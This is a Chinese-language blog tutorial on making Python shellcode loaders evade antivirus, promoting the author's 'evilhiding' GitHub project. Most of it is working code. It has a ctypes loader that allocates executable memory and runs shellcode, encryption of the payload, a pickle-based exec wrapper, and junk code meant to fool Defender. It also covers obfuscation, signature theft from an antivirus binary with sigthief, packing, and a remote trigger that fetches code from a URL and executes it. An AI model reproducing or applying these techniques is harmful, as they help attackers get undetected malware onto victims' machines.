python免杀初探

文章目录

    • loader基础知识
      • loader
      • 参数介绍
    • evilhiding项目地址
    • 免杀方式
      • 修改加载器
      • 花指令
      • 混淆loader源码
      • 修改签名
      • 加壳
      • 远程条件触发
      • 修改ico的md5
      • 加密

loader基础知识

loader

import ctypes
#(kali生成payload存放位置)
shellcode = bytearray(b"shellcode")
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

参数介绍

# virtualalloc: 申请虚拟内存
LPVOID VirtualAlloc(
LPVOID lpAddress,        // 指定要分配的区域的期望起始地址。一般为null
SIZE_T dwSize,           // 要分配的堆栈大小
DWORD flAllocationType,  // 类型的分配
DWORD flProtect          // 内存的执行权限
);
// 属性解释
flAllocationType: 
MEM_COMMIT: 在内存或磁盘上的分页文件中为指定的内存页区域分配物理存储。该函数将内存初始化为零。(提交到物理内存)
MEM_REVERSE: 保留一定范围的进程虚拟地址空间,而不在内存或磁盘上的分页文件中分配任何实际物理存储。(保留虚拟内存)

flProtect:
PAGE_EXECUTE_READWRITE: 内存页分配为可读可写可执行
PAGE_READWRITE: 内存页分配为可读可写

#RtlMoveMemory: 将一个缓冲区的内容复制到另一个缓冲区。
VOID RtlMoveMemory(
IN VOID UNALIGNED  *Destination,   // 要复制到的目标
IN CONST VOID UNALIGNED  *Source,  // 要转移的内存块
IN SIZE_T  Length                  // 内存块大小
);

# CreateThread: 创建线程
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性,一般设置为0或者null 
SIZE_T dwStackSize,                       // 初始栈大小, 设置为0
LPTHREAD_START_ROUTINE lpStartAddress,    // 线程函数地址
LPVOID lpParameter,                       // 线程参数,没传参即为0
DWORD dwCreationFlags,                    // 创建线程标志,对线程做控制的
LPDWORD lpThreadId                        // 线程id
);

# WaitForSingleObject: 等待线程执行完毕
DWORD WaitForSingleObject(
HANDLE hHandle,        // 句柄
DWORD dwMilliseconds   // 等待标志, 常用INFINITE, 即为无限等待线程执行完毕
);

生成exe

pyinstaller -F -w a.py

果然烂大街的代码生成的exe连静态都过不了

evilhiding项目地址

https://github.com/coleak2021/evilhiding.git

不能免杀了可以提Issues,stars是持续更新的动力,嘻嘻嘻。

python免杀初探_第1张图片

免杀方式

修改加载器

import pickle,base64,requests,ctypes
from cryptography.fernet import Fernet

url=''
def doit(sectr):
    KEY={key2}
    fernet = Fernet(KEY)
    destr = fernet.decrypt(sectr).decode()
    class A(object):
        def __reduce__(self):
            return (exec, (destr,))

    ret = pickle.dumps(A())
    ret_base64 = base64.b64encode(ret)
    ret_decode = base64.b64decode(ret_base64)
    pickle.loads(ret_decode)
import ctypes
from cryptography.fernet import Fernet
KEY={key}
fernet=Fernet(KEY)
shellcode=fernet.decrypt({enstr})

shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

花指令

t1 ="""
import random


def partition(test_arr, low, high):
   i = (low - 1)  
   pivot = test_arr[high]

   for j in range(low, high):
       if test_arr[j] <= pivot:
           i = i + 1
           test_arr[i], test_arr[j] = test_arr[j], test_arr[i]

   test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]
   return i + 1


def quick_sort(test_arr, low, high):
   if low < high:
       pi = partition(test_arr, low, high)
       quick_sort(test_arr, low, pi - 1)
       quick_sort(test_arr, pi + 1, high)


test_arr= []
for i in range(59999):
   test_arr.append(random.random())
n= len(test_arr)
quick_sort(test_arr,0, n - 1)
   """
t2 ="""
import re

re.search('www','www.runoob.com').span()
re.search('com','www.runoob.com').span()

line= "Cats are smarter than dogs ok in shakdhaksdas";

searchObj= re.search(r'(.*) are (.*?) .*', line, re.M | re.I)


def double(matched):
   value = int(matched.group('value'))
   return str(value * 2)


s= 'A23G4HFD567'
re.sub('(?P\d+)',double, s)
   """

t3 ="""
import base64

st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()
   """
exec(t1)
exec(t2)
exec(t3)

混淆loader源码

pyarmor gen a.py

hunxiao函数

def hunxiao():
    openfile = 'b.py'
    text = open(openfile, encoding='utf-8').read()
    wd_df = re.findall("def (.*?)\\(", text)
    wd_df = list(set(wd_df))
    for i in wd_df:
        if i[0:2] == "__":
            wd_df.remove(i)
        if i == 'super':
            wd_df.remove(i)
    idlist = []
    for i in wd_df:
        idlist.append('O' + str(hash(i))[-7:])

    cs = len(wd_df)
    if cs == len(set(idlist)):
        while cs > 0:
            cs -= 1
            text = text.replace(wd_df[cs] + '(', idlist[cs] + '(')
            text = text.replace('target=' + wd_df[cs], 'target=' + idlist[cs])
            text = text.replace('global ' + wd_df[cs], 'global ' + idlist[cs])
            text = text.replace(', ' + wd_df[cs], ', ' + idlist[cs])
        print('successful function:', wd_df, '\n', idlist)
    else:
        print('hash repeat')

    file_save = open('b.py', 'w', encoding='utf-8')
    file_save.write(text)
    file_save.close()

修改签名

python sigthief.py -i D:\Huorong\Sysdiag\bin\HipsMain.exe -t HipsMain1.exe -o HipsMain.exe

加壳

  • vmpro

远程条件触发

def start():
    try:
        r=requests.get(url)
        a = r.status_code
    except:
        a = 404
        pass

    if a == 200:
        doit(r.text)
    else:

修改ico的md5

iconame=f'{int (time.time() *1000)}.ico'
with open('coleak.ico',"br") as f:
    cont=f.read()
with open(f'{iconame}',"bw") as f:
    cont+=iconame.encode()
    f.write(cont)

os.remove(iconame)

加密

key = Fernet.generate_key()
fernet = Fernet(key)
enstr = fernet.encrypt(shellcode)

key2 = Fernet.generate_key()
fernet2 = Fernet(key2)

with open('a.txt', 'bw') as f:
    f.write(fernet2.encrypt(a.encode()))

你可能感兴趣的:(#,渗透测试,安全,python,windows,evilhiding,免杀)